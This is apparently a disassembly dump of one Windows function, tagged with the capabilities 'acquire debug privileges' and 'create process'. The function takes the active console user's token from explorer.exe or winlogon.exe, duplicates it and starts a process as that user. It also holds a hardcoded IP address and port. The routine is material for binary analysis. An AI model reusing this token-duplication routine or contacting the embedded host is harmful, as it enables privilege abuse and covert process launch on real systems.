Function at 0x427a10
Capabilities:
Acquire debug privileges
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5258e5
mov eax, dword fs:[0]
push eax
sub esp, 0xf88
mov eax, dword [0x57594c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 1
mov dword [ebp - 0xd1c], 0
xor eax, eax
mov dword [ebp - 0xd18], eax
mov dword [ebp - 0xd14], eax
mov dword [ebp - 0xd10], eax
mov dword [ebp - 0xf94], 0
push 0x40
push 0
lea ecx, [ebp - 0xf90]
push ecx
call fcn.004bfe20
add esp, 0xc
mov dword [ebp - 0xd0c], 0
mov dword [ebp - 0xd08], 0
mov dword [ebp - 0xcf8], 0
mov dword [ebp - 0xcfc], 0
mov dword [ebp - 0xcf0], 0
mov dword [ebp - 0xcec], 0
mov dword [ebp - 0xd04], 0
mov dword [ebp - 0xd00], 0
push str.WTSGetActiveConsoleSessionId
push 0x548914
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xd24], eax
push str.WTSQueryUserToken
push str.Wtsapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xd20], eax
cmp dword [ebp - 0xd24], 0
jne 0x427c3d
push 0x548948
lea ecx, [ebp - 0xbf8]
call fcn.004067b0
mov dword [ebp - 0xd74], eax
mov edx, dword [ebp - 0xd74]
mov dword [ebp - 0xda8], edx
mov byte [ebp - 4], 2
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0xf00], esp
push str.Not_found_api:_WTSGetActiveConsoleSessionId
push eax
mov ecx, dword [ebp - 0xda8]
call fcn.00406830
mov dword [ebp - 0xdb0], eax
mov ecx, dword [ebp - 0xdb0]
mov dword [ebp - 0xed0], ecx
mov byte [ebp - 4], 3
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xed8], esp
push 0x548984
call fcn.004067b0
mov dword [ebp - 0xdb8], eax
mov edx, dword [ebp - 0xdb8]
mov dword [ebp - 0xee0], edx
mov byte [ebp - 4], 4
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xee8], esp
push 0x5489e8
call fcn.004067b0
mov dword [ebp - 0xdc0], eax
mov eax, dword [ebp - 0xdc0]
mov dword [ebp - 0xef0], eax
mov byte [ebp - 4], 5
push 0x15b3
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xef8], esp
push 0x5489f4
call fcn.004067b0
mov dword [ebp - 0xdc8], eax
mov ecx, dword [ebp - 0xdc8]
mov dword [ebp - 0xe2c], ecx
mov byte [ebp - 4], 6
mov byte [ebp - 4], 2
call fcn.004217d0
add esp, 0x64
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xbf8]
call fcn.004068e0
mov dword [ebp - 0xdd0], 0
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.004068e0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x20]
call fcn.004068e0
mov eax, dword [ebp - 0xdd0]
jmp 0x4288bd
cmp dword [ebp - 0xd20], 0
jne 0x427d73
push 0x548a10
lea ecx, [ebp - 0xc88]
call fcn.004067b0
mov dword [ebp - 0xdd8], eax
mov edx, dword [ebp - 0xdd8]
mov dword [ebp - 0xde0], edx
mov byte [ebp - 4], 7
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0xf08], esp
push str.Not_found_api:_WTSQueryUserToken
push eax
mov ecx, dword [ebp - 0xde0]
call fcn.00406830
mov dword [ebp - 0xde8], eax
mov ecx, dword [ebp - 0xde8]
mov dword [ebp - 0xf10], ecx
mov byte [ebp - 4], 8
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xf18], esp
push 0x548a4c
call fcn.004067b0
mov dword [ebp - 0xdf0], eax
mov edx, dword [ebp - 0xdf0]
mov dword [ebp - 0xf20], edx
mov byte [ebp - 4], 9
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xf28], esp
push 0x548a9c
call fcn.004067b0
mov dword [ebp - 0xdf8], eax
mov eax, dword [ebp - 0xdf8]
mov dword [ebp - 0xf30], eax
mov byte [ebp - 4], 0xa
push 0x15b3
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xf38], esp
push 0x548aa8
call fcn.004067b0
mov dword [ebp - 0xe00], eax
mov ecx, dword [ebp - 0xe00]
mov dword [ebp - 0xf40], ecx
mov byte [ebp - 4], 0xb
mov byte [ebp - 4], 7
call fcn.004217d0
add esp, 0x64
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xc88]
call fcn.004068e0
mov dword [ebp - 0xe08], 0
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.004068e0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x20]
call fcn.004068e0
mov eax, dword [ebp - 0xe08]
jmp 0x4288bd
call dword [ebp - 0xd24]
mov dword [ebp - 0xd08], eax
mov edx, dword [ebp - 0xd08]
push edx
push str.explorer.exe
call fcn.0042d2f0
add esp, 8
mov dword [ebp - 0xcf8], eax
cmp dword [ebp - 0xcf8], 0
jne 0x427dbc
mov eax, dword [ebp - 0xd08]
push eax
push str.winlogon.exe
call fcn.0042d2f0
add esp, 8
mov dword [ebp - 0xcf8], eax
cmp dword [ebp - 0xcf8], 0
jne 0x427ef2
push 0x548ae4
lea ecx, [ebp - 0xc28]
call fcn.004067b0
mov dword [ebp - 0xe10], eax
mov ecx, dword [ebp - 0xe10]
mov dword [ebp - 0xe18], ecx
mov byte [ebp - 4], 0xc
sub esp, 0x18
mov edx, esp
mov dword [ebp - 0xf48], esp
push str.Cant_Find_Explorer
push edx
mov ecx, dword [ebp - 0xe18]
call fcn.00406830
mov dword [ebp - 0xe20], eax
mov eax, dword [ebp - 0xe20]
mov dword [ebp - 0xec4], eax
mov byte [ebp - 4], 0xd
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xe34], esp
push 0x548b48
call fcn.004067b0
mov dword [ebp - 0xe28], eax
mov ecx, dword [ebp - 0xe28]
mov dword [ebp - 0xec8], ecx
mov byte [ebp - 4], 0xe
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xe3c], esp
push 0x548b54
call fcn.004067b0
mov dword [ebp - 0xdac], eax
mov edx, dword [ebp - 0xdac]
mov dword [ebp - 0xf44], edx
mov byte [ebp - 4], 0xf
push 0x15b3
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xe44], esp
push 0x548b60
call fcn.004067b0
mov dword [ebp - 0xd34], eax
mov eax, dword [ebp - 0xd34]
mov dword [ebp - 0xecc], eax
mov byte [ebp - 4], 0x10
mov byte [ebp - 4], 0xc
call fcn.004217d0
add esp, 0x64
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xc28]
call fcn.004068e0
mov dword [ebp - 0xdec], 0
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.004068e0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x20]
call fcn.004068e0
mov eax, dword [ebp - 0xdec]
jmp 0x4288bd
mov dword [ebp - 0xd00], 0x30
push 0x44
push 0
lea ecx, [ebp - 0xf94]
push ecx
call fcn.004bfe20
add esp, 0xc
mov dword [ebp - 0xf94], 0x44
mov dword [ebp - 0xf8c], str.winsta0default
xor edx, edx
mov dword [ebp - 0xd1c], edx
mov dword [ebp - 0xd18], edx
mov dword [ebp - 0xd14], edx
mov dword [ebp - 0xd10], edx
mov dword [ebp - 0xd6c], 0
lea eax, [ebp - 0xcfc]
push eax
mov ecx, dword [ebp - 0xd08]
push ecx
call dword [ebp - 0xd20]
test eax, eax
jne 0x4281bc
mov edx, dword [ebp - 0xcf8]
push edx
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0xd04], eax
lea eax, [ebp - 0xcec]
push eax
push 0xf00ff
mov ecx, dword [ebp - 0xd04]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x4280b4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Process_token_open_Error:__u_n
lea edx, [ebp - 0x3e0]
push edx
call fcn.004288e0
add esp, 0xc
push 0x548bd8
lea ecx, [ebp - 0xc10]
call fcn.004067b0
mov dword [ebp - 0xd3c], eax
mov eax, dword [ebp - 0xd3c]
mov dword [ebp - 0xdb4], eax
mov byte [ebp - 4], 0x11
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xe4c], esp
lea edx, [ebp - 0x3e0]
push edx
push ecx
mov ecx, dword [ebp - 0xdb4]
call fcn.00406830
mov dword [ebp - 0xd44], eax
mov eax, dword [ebp - 0xd44]
mov dword [ebp - 0xf0c], eax
mov byte [ebp - 4], 0x12
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xe54], esp
push 0x548c14
call fcn.004067b0
mov dword [ebp - 0xe0c], eax
mov ecx, dword [ebp - 0xe0c]
mov dword [ebp - 0xed4], ecx
mov byte [ebp - 4], 0x13
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xe5c], esp
push 0x548c20
call fcn.004067b0
mov dword [ebp - 0xd4c], eax
mov edx, dword [ebp - 0xd4c]
mov dword [ebp - 0xf2c], edx
mov byte [ebp - 4], 0x14
push 0x15b3
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xe64], esp
push 0x548c2c
call fcn.004067b0
mov dword [ebp - 0xdbc], eax
mov eax, dword [ebp - 0xdbc]
mov dword [ebp - 0xedc], eax
mov byte [ebp - 4], 0x15
mov byte [ebp - 4], 0x11
call fcn.004217d0
add esp, 0x64
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xc10]
call fcn.004068e0
cmp dword [ebp - 0xcec], 0
jne 0x4281ba
push 0x548c48
lea ecx, [ebp - 0xc40]
call fcn.004067b0
mov dword [ebp - 0xd54], eax
mov ecx, dword [ebp - 0xd54]
mov dword [ebp - 0xdf4], ecx
mov byte [ebp - 4], 0x16
sub esp, 0x18
mov edx, esp
mov dword [ebp - 0xe6c], esp
push str.Process_tokenError:
push edx
mov ecx, dword [ebp - 0xdf4]
call fcn.00406830
mov dword [ebp - 0xd5c], eax
mov eax, dword [ebp - 0xd5c]
mov dword [ebp - 0xf14], eax
mov byte [ebp - 4], 0x17
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xe74], esp
push 0x548cac
call fcn.004067b0
mov dword [ebp - 0xdc4], eax
mov ecx, dword [ebp - 0xdc4]
mov dword [ebp - 0xee4], ecx
mov byte [ebp - 4], 0x18
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xe7c], esp
push 0x548cb8
call fcn.004067b0
mov dword [ebp - 0xd64], eax
mov edx, dword [ebp - 0xd64]
mov dword [ebp - 0xf3c], edx
mov byte [ebp - 4], 0x19
push 0x15b3
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xe84], esp
push 0x548cc4
call fcn.004067b0
mov dword [ebp - 0xe1c], eax
mov eax, dword [ebp - 0xe1c]
mov dword [ebp - 0xeec], eax
mov byte [ebp - 4], 0x1a
mov byte [ebp - 4], 0x16
call fcn.004217d0
add esp, 0x64
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xc40]
call fcn.004068e0
jmp 0x4281c8
mov ecx, dword [ebp - 0xcfc]
mov dword [ebp - 0xcec], ecx
lea edx, [ebp - 0xd6c]
push edx
push 4
lea eax, [ebp - 0xdcc]
push eax
push 0x13
mov ecx, dword [ebp - 0xcec]
push ecx
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x4281fc
mov edx, dword [ebp - 0xdcc]
mov dword [ebp - 0xcf0], edx
jmp 0x42846b
lea eax, [ebp - 0xf50]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x42832e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Lookup_Privilege_value_Error:__u_n
lea ecx, [ebp - 0x1f8]
push ecx
call fcn.004288e0
add esp, 0xc
push 0x548cf4
lea ecx, [ebp - 0xc58]
call fcn.004067b0
mov dword [ebp - 0xd28], eax
mov edx, dword [ebp - 0xd28]
mov dword [ebp - 0xdfc], edx
mov byte [ebp - 4], 0x1b
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0xe8c], esp
lea ecx, [ebp - 0x1f8]
push ecx
push eax
mov ecx, dword [ebp - 0xdfc]
call fcn.00406830
mov dword [ebp - 0xd7c], eax
mov edx, dword [ebp - 0xd7c]
mov dword [ebp - 0xf1c], edx
mov byte [ebp - 4], 0x1c
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xe94], esp
push 0x548d74
call fcn.004067b0
mov dword [ebp - 0xdd4], eax
mov eax, dword [ebp - 0xdd4]
mov dword [ebp - 0xef4], eax
mov byte [ebp - 4], 0x1d
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xe9c], esp
push 0x548d80
call fcn.004067b0
mov dword [ebp - 0xd84], eax
mov ecx, dword [ebp - 0xd84]
mov dword [ebp - 0xf34], ecx
mov byte [ebp - 4], 0x1e
push 0x15b3
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xea4], esp
push 0x548d8c
call fcn.004067b0
mov dword [ebp - 0xe14], eax
mov edx, dword [ebp - 0xe14]
mov dword [ebp - 0xefc], edx
mov byte [ebp - 4], 0x1f
mov byte [ebp - 4], 0x1b
call fcn.004217d0
add esp, 0x64
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xc58]
call fcn.004068e0
lea eax, [ebp - 0xcf0]
push eax
push 1
push 1
push 0
push 0x2000000
mov ecx, dword [ebp - 0xcec]
push ecx
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
jne 0x42846b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.DuplicateTokenEx_Error:__u_n
lea edx, [ebp - 0x2ec]
push edx
call fcn.004288e0
add esp, 0xc
push 0x548de0
lea ecx, [ebp - 0xc70]
call fcn.004067b0
mov dword [ebp - 0xd8c], eax
mov eax, dword [ebp - 0xd8c]
mov dword [ebp - 0xddc], eax
mov byte [ebp - 4], 0x20
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xeac], esp
lea edx, [ebp - 0x2ec]
push edx
push ecx
mov ecx, dword [ebp - 0xddc]
call fcn.00406830
mov dword [ebp - 0xd94], eax
mov eax, dword [ebp - 0xd94]
mov dword [ebp - 0xf24], eax
mov byte [ebp - 4], 0x21
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xeb4], esp
push 0x548e1c
call fcn.004067b0
mov dword [ebp - 0xe04], eax
mov ecx, dword [ebp - 0xe04]
mov dword [ebp - 0xf04], ecx
mov byte [ebp - 4], 0x22
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xebc], esp
push 0x548e28
call fcn.004067b0
mov dword [ebp - 0xd9c], eax
mov edx, dword [ebp - 0xd9c]
mov dword [ebp - 0xec0], edx
mov byte [ebp - 4], 0x23
push 0x15b3
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xe30], esp
push 0x548e34
call fcn.004067b0
mov dword [ebp - 0xde4], eax
mov eax, dword [ebp - 0xde4]
mov dword [ebp - 0xe38], eax
mov byte [ebp - 4], 0x24
mov byte [ebp - 4], 0x20
call fcn.004217d0
add esp, 0x64
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xc70]
call fcn.004068e0
mov dword [ebp - 0xcf4], 0
push 1
mov ecx, dword [ebp - 0xcf0]
push ecx
lea edx, [ebp - 0xcf4]
push edx
call dword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
test eax, eax
je 0x4284a5
mov eax, dword [ebp - 0xd00]
or eax, 0x400
mov dword [ebp - 0xd00], eax
jmp 0x4285a8
push 0x548e50
lea ecx, [ebp - 0xca0]
call fcn.004067b0
mov dword [ebp - 0xda4], eax
mov ecx, dword [ebp - 0xda4]
mov dword [ebp - 0xe24], ecx
mov byte [ebp - 4], 0x25
sub esp, 0x18
mov edx, esp
mov dword [ebp - 0xe40], esp
push str.CreateEnvironmentBlock_Failed
push edx
mov ecx, dword [ebp - 0xe24]
call fcn.00406830
mov dword [ebp - 0xd2c], eax
mov eax, dword [ebp - 0xd2c]
mov dword [ebp - 0xe48], eax
mov byte [ebp - 4], 0x26
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xe50], esp
push 0x548ec8
call fcn.004067b0
mov dword [ebp - 0xd30], eax
mov ecx, dword [ebp - 0xd30]
mov dword [ebp - 0xe58], ecx
mov byte [ebp - 4], 0x27
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xe60], esp
push 0x548ed4
call fcn.004067b0
mov dword [ebp - 0xd38], eax
mov edx, dword [ebp - 0xd38]
mov dword [ebp - 0xe68], edx
mov byte [ebp - 4], 0x28
push 0x15b3
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xe70], esp
push 0x548ee0
call fcn.004067b0
mov dword [ebp - 0xd40], eax
mov eax, dword [ebp - 0xd40]
mov dword [ebp - 0xe78], eax
mov byte [ebp - 4], 0x29
mov byte [ebp - 4], 0x25
call fcn.004217d0
add esp, 0x64
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xca0]
call fcn.004068e0
mov dword [ebp - 0xcf4], 0
xor ecx, ecx
mov word [ebp - 0xbe0], cx
push 0x7fe
push 0
lea edx, [ebp - 0xbde]
push edx
call fcn.004bfe20
add esp, 0xc
lea eax, [ebp - 0xce8]
push eax
lea ecx, [ebp + 0x20]
call fcn.00424a30
mov dword [ebp - 0xd48], eax
mov ecx, dword [ebp - 0xd48]
mov dword [ebp - 0xd58], ecx
mov byte [ebp - 4], 0x2a
lea edx, [ebp - 0xcd0]
push edx
lea ecx, [ebp + 8]
call fcn.00424a30
mov dword [ebp - 0xd50], eax
mov eax, dword [ebp - 0xd50]
mov dword [ebp - 0xd60], eax
mov byte [ebp - 4], 0x2b
mov ecx, dword [ebp - 0xd58]
call fcn.00409770
push eax
mov ecx, dword [ebp - 0xd60]
call fcn.00409770
push eax
push str.__s___s
lea ecx, [ebp - 0xbe0]
push ecx
call fcn.00419930
add esp, 0x10
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0xcd0]
call fcn.00406d30
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xce8]
call fcn.00406d30
lea edx, [ebp - 0xd1c]
push edx
lea eax, [ebp - 0xf94]
push eax
push 0
mov ecx, dword [ebp - 0xcf4]
push ecx
mov edx, dword [ebp - 0xd00]
push edx
push 0
push 0
push 0
lea eax, [ebp - 0xbe0]
push eax
push 0
mov ecx, dword [ebp - 0xcf0]
push ecx
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
je 0x4286a5
mov edx, dword [ebp - 0xd1c]
mov dword [ebp - 0xd0c], edx
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0xd68], eax
cmp dword [ebp - 0xd0c], 0
jne 0x4287e8
cmp dword [ebp - 0xd68], 0
je 0x4287e8
lea eax, [ebp - 0xbe0]
push eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.CreateProcessAsUser_Error:__u__s
lea ecx, [ebp - 0x104]
push ecx
call fcn.004288e0
add esp, 0x10
push str.RunInteractiveClientProcess:
lea ecx, [ebp - 0xcb8]
call fcn.004067b0
mov dword [ebp - 0xd70], eax
mov edx, dword [ebp - 0xd70]
mov dword [ebp - 0xd78], edx
mov byte [ebp - 4], 0x2c
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0xe80], esp
lea ecx, [ebp - 0x104]
push ecx
push eax
mov ecx, dword [ebp - 0xd78]
call fcn.00406830
mov dword [ebp - 0xd80], eax
mov edx, dword [ebp - 0xd80]
mov dword [ebp - 0xe88], edx
mov byte [ebp - 4], 0x2d
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xe90], esp
push str.51477
call fcn.004067b0
mov dword [ebp - 0xd88], eax
mov eax, dword [ebp - 0xd88]
mov dword [ebp - 0xe98], eax
mov byte [ebp - 4], 0x2e
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xea0], esp
push 0x548f98
call fcn.004067b0
mov dword [ebp - 0xd90], eax
mov ecx, dword [ebp - 0xd90]
mov dword [ebp - 0xea8], ecx
mov byte [ebp - 4], 0x2f
push 0x15b3
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xeb0], esp
push str.222.186.42.69
call fcn.004067b0
mov dword [ebp - 0xd98], eax
mov edx, dword [ebp - 0xd98]
mov dword [ebp - 0xeb8], edx
mov byte [ebp - 4], 0x30
mov byte [ebp - 4], 0x2c
call fcn.004217d0
add esp, 0x64
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xcb8]
call fcn.004068e0
cmp dword [ebp - 0xd1c], 0
je 0x4287fe
mov eax, dword [ebp - 0xd1c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0xd18], 0
je 0x428814
mov ecx, dword [ebp - 0xd18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0xd04], 0
je 0x42882a
mov edx, dword [ebp - 0xd04]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0xcfc], 0
je 0x428840
mov eax, dword [ebp - 0xcfc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0xcec]
cmp ecx, dword [ebp - 0xcfc]
je 0x428864
cmp dword [ebp - 0xcec], 0
je 0x428864
mov edx, dword [ebp - 0xcec]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0xcf0], 0
je 0x42887a
mov eax, dword [ebp - 0xcf0]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0xcf4], 0
je 0x428890
mov ecx, dword [ebp - 0xcf4]
push ecx
call dword [sym.imp.USERENV.dll_DestroyEnvironmentBlock]
mov edx, dword [ebp - 0xd0c]
mov dword [ebp - 0xda0], edx
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.004068e0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x20]
call fcn.004068e0
mov eax, dword [ebp - 0xda0]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004b8d48
mov esp, ebp
pop ebp
ret